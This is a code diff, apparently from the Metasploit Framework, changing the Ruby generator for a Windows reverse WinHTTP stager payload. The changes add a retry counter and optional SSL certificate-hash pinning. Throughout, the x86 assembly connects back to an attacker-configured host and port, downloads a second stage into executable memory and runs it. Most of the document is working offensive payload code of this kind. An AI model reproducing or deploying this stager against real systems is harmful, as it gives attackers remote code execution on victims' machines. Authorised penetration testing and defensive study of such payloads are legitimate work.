@@ -36,15 +36,17 @@ def generate
3636 ssl : false ,
3737 host : datastore [ 'LHOST' ] ,
3838 port : datastore [ 'LPORT' ] ,
39- url : generate_small_uri )
39+ url : generate_small_uri ,
40+ retry_count : datastore [ 'StagerRetryCount' ] )
4041 end
4142
4243 conf = {
4344 ssl : false ,
4445 host : datastore [ 'LHOST' ] ,
4546 port : datastore [ 'LPORT' ] ,
4647 url : generate_uri ,
47- exitfunk : datastore [ 'EXITFUNC' ]
48+ exitfunk : datastore [ 'EXITFUNC' ] ,
49+ retry_count : datastore [ 'StagerRetryCount' ]
4850 }
4951
5052 generate_reverse_winhttp ( conf )
@@ -98,23 +100,32 @@ def asm_generate_wchar_array(str)
98100 join ( "," )
99101 end
100102
103+
104+ #
105+ # Generate an assembly stub with the configured feature set and options.
101106 #
102- # Dynamic payload generation
107+ # @option opts [Bool] :ssl Whether or not to enable SSL
108+ # @option opts [String] :url The URI to request during staging
109+ # @option opts [String] :host The host to connect to
110+ # @option opts [Fixnum] :port The port to connect to
111+ # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
112+ # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
113+ # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
114+ # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
103115 #
104116 def asm_reverse_winhttp ( opts = { } )
105117
118+ retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
119+ verify_ssl = nil
120+ encoded_cert_hash = nil
121+ encoded_url = asm_generate_wchar_array ( opts [ :url ] )
122+ encoded_host = asm_generate_wchar_array ( opts [ :host ] )
106123
107- #
108- # options should contain:
109- # ssl: (true|false)
110- # url: "/url_to_request"
111- # host: [hostname]
112- # port: [port]
113- # exitfunk: [process|thread|seh|sleep]
114- #
124+ if opts [ :ssl ] && opts [ :verify_cert ] && opts [ :verify_cert_hash ]
125+ verify_ssl = true
126+ encoded_cert_hash = opts [ :verify_cert_hash ] . unpack ( "C*" ) . map { |c | "0x%.2x" % c } . join ( "," )
127+ end
115128
116- encoded_url = asm_generate_wchar_array ( opts [ :url ] )
117- encoded_host = asm_generate_wchar_array ( opts [ :host ] )
118129
119130 http_open_flags = 0
120131
@@ -137,46 +148,52 @@ def asm_reverse_winhttp(opts={})
137148 push esp ; Push a pointer to the "winhttp" string
138149 push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
139150 call ebp ; LoadLibraryA( "winhttp" )
151+ ^
140152
141- set_retry:
142- push.i8 6 ; retry 6 times
143- pop edi
144- xor ebx, ebx
145- mov ecx, edi
153+ if verify_ssl
154+ asm << %Q^
155+ load_crypt32:
156+ push 0x00323374 ; Push the string 'crypt32',0
157+ push 0x70797263 ; ...
158+ push esp ; Push a pointer to the "crypt32" string
159+ push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
160+ call ebp ; LoadLibraryA( "wincrypt" )
161+ ^
162+ end
163+
164+ asm << %Q^
146165
147- push_zeros:
148- push ebx ; NULL values for the WinHttpOpen API parameters
149- loop push_zeros
166+ xor ebx, ebx
150167
151168 WinHttpOpen:
152- ; Flags [5]
153- ; ProxyBypass (NULL) [4]
154- ; ProxyName (NULL) [3]
155- ; AccessType (DEFAULT_PROXY= 0) [2]
156- ; UserAgent (NULL) [1]
169+ push ebx ; Flags
170+ push ebx ; ProxyBypass (NULL)
171+ push ebx ; ProxyName (NULL)
172+ push ebx ; AccessType (DEFAULT_PROXY= 0)
173+ push ebx ; UserAgent (NULL) [1]
157174 push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
158175 call ebp
159176
160177 WinHttpConnect:
161- push ebx ; Reserved (NULL) [4]
178+ push ebx ; Reserved (NULL)
162179 push #{ opts [ :port ] } ; Port [3]
163180 call got_server_uri ; Double call to get pointer for both server_uri and
164- server_uri: ; server_host; server_uri is saved in EDI for later
181+ server_uri: ; server_host; server_uri is saved in edi for later
165182 db #{ encoded_url }
166183 got_server_host:
167- push eax ; Session handle returned by WinHttpOpen [1]
184+ push eax ; Session handle returned by WinHttpOpen
168185 push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
169186 call ebp
170187
171188 WinHttpOpenRequest:
172189
173- push.i32 #{ "0x%.8x" % http_open_flags }
174- push ebx ; AcceptTypes (NULL) [6]
175- push ebx ; Referrer (NULL) [5]
176- push ebx ; Version (NULL) [4]
177- push edi ; ObjectName (URI) [3]
178- push ebx ; Verb (GET method) (NULL) [2]
179- push eax ; Connect handler returned by WinHttpConnect [1]
190+ push #{ "0x%.8x" % http_open_flags }
191+ push ebx ; AcceptTypes (NULL)
192+ push ebx ; Referrer (NULL)
193+ push ebx ; Version (NULL)
194+ push edi ; ObjectName (URI)
195+ push ebx ; Verb (GET method) (NULL)
196+ push eax ; Connect handle returned by WinHttpConnect
180197 push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
181198 call ebp
182199 xchg esi, eax ; save HttpRequest handler in esi
@@ -192,16 +209,21 @@ def asm_reverse_winhttp(opts={})
192209 ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
193210 ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
194211 mov eax, esp
195- push.i8 4 ; sizeof(buffer)
212+ push 4 ; sizeof(buffer)
196213 push eax ; &buffer
197- push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
214+ push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
198215 push esi ; hHttpRequest
199216 push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
200217 call ebp
201218 ^
202219 end
203220
204221 asm << %Q^
222+ ; Store our retry counter in the edi register
223+ set_retry:
224+ push #{ retry_count }
225+ pop edi
226+
205227 send_request:
206228
207229 WinHttpSendRequest:
@@ -215,7 +237,7 @@ def asm_reverse_winhttp(opts={})
215237 push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
216238 call ebp
217239 test eax,eax
218- jnz receive_response ; if TRUE call WinHttpReceiveResponse API
240+ jnz check_response ; if TRUE call WinHttpReceiveResponse API
219241
220242 try_it_again:
221243 dec edi
@@ -237,12 +259,79 @@ def asm_reverse_winhttp(opts={})
237259 ^
238260 end
239261
262+ # Jump target if the request was sent successfully
263+ asm << %Q^
264+ check_response:
265+ ^
266+
267+ # Verify the SSL certificate hash
268+ if verify_ssl
269+
270+ asm << %Q^
271+ ssl_cert_get_context:
272+ push 4
273+ mov ecx, esp ; Allocate &bufferLength
274+ push 0
275+ mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
276+
277+ push ecx ; &bufferLength
278+ push ebx ; &buffer
279+ push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
280+ push esi ; hHttpRequest
281+ push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
282+ call ebp
283+ test eax, eax ;
284+ jz failure ; Bail out if we couldn't get the certificate context
285+
286+ ; ebx
287+ ssl_cert_allocate_hash_space:
288+ push 20 ;
289+ mov ecx, esp ; Store a reference to the address of 20
290+ sub esp,[ecx] ; Allocate 20 bytes for the hash output
291+ mov edi, esp ; edi will point to our buffer
292+
293+ ssl_cert_get_server_hash:
294+ push ecx ; &bufferLength
295+ push edi ; &buffer (20-byte SHA1 hash)
296+ push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
297+ push [ebx] ; *pCert
298+ push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
299+ call ebp
300+ test eax, eax ;
301+ jz failure ; Bail out if we couldn't get the certificate context
302+
303+ ssl_cert_start_verify:
304+ call ssl_cert_compare_hashes
305+ db #{ encoded_cert_hash }
306+
307+ ssl_cert_compare_hashes:
308+ pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
309+ ; edi points to the server-provided certificate hash
310+
311+ push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
312+ pop ecx ;
313+ mov edx, ecx ; Keep a reference to 4 in edx
314+
315+ ssl_cert_verify_compare_loop:
316+ mov eax, [ebx] ; Grab the next DWORD of the hash
317+ cmp eax, [edi] ; Compare with the server hash
318+ jnz failure ; Bail out if the DWORD doesn't match
319+ add ebx, edx ; Increment internal hash pointer by 4
320+ add edi, edx ; Increment server hash pointer by 4
321+ loop ssl_cert_verify_compare_loop
322+
323+ ; Our certificate hash was valid, hurray!
324+ ssl_cert_verify_cleanup:
325+ xor ebx, ebx ; Reset ebx back to zero
326+ ^
327+ end
328+
240329 asm << %Q^
241330 receive_response:
242331 ; The API WinHttpReceiveResponse needs to be called
243- ; first to get a valid handler for WinHttpReadData
244- push ebx ; Reserved (NULL) [2]
245- push esi ; Request handler returned by WinHttpSendRequest [1]
332+ ; first to get a valid handle for WinHttpReadData
333+ push ebx ; Reserved (NULL)
334+ push esi ; Request handler returned by WinHttpSendRequest
246335 push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
247336 call ebp
248337 test eax,eax
@@ -251,7 +340,7 @@ def asm_reverse_winhttp(opts={})
251340
252341 asm << %Q^
253342 allocate_memory:
254- push.i8 0x40 ; PAGE_EXECUTE_READWRITE
343+ push 0x40 ; PAGE_EXECUTE_READWRITE
255344 push 0x1000 ; MEM_COMMIT
256345 push 0x00400000 ; Stage allocation (4Mb ought to do us)
257346 push ebx ; NULL as we dont care where the allocation is
@@ -299,6 +388,8 @@ def asm_reverse_winhttp(opts={})
299388 asm
300389 end
301390
391+
392+
302393end
303394
304395end
0 commit comments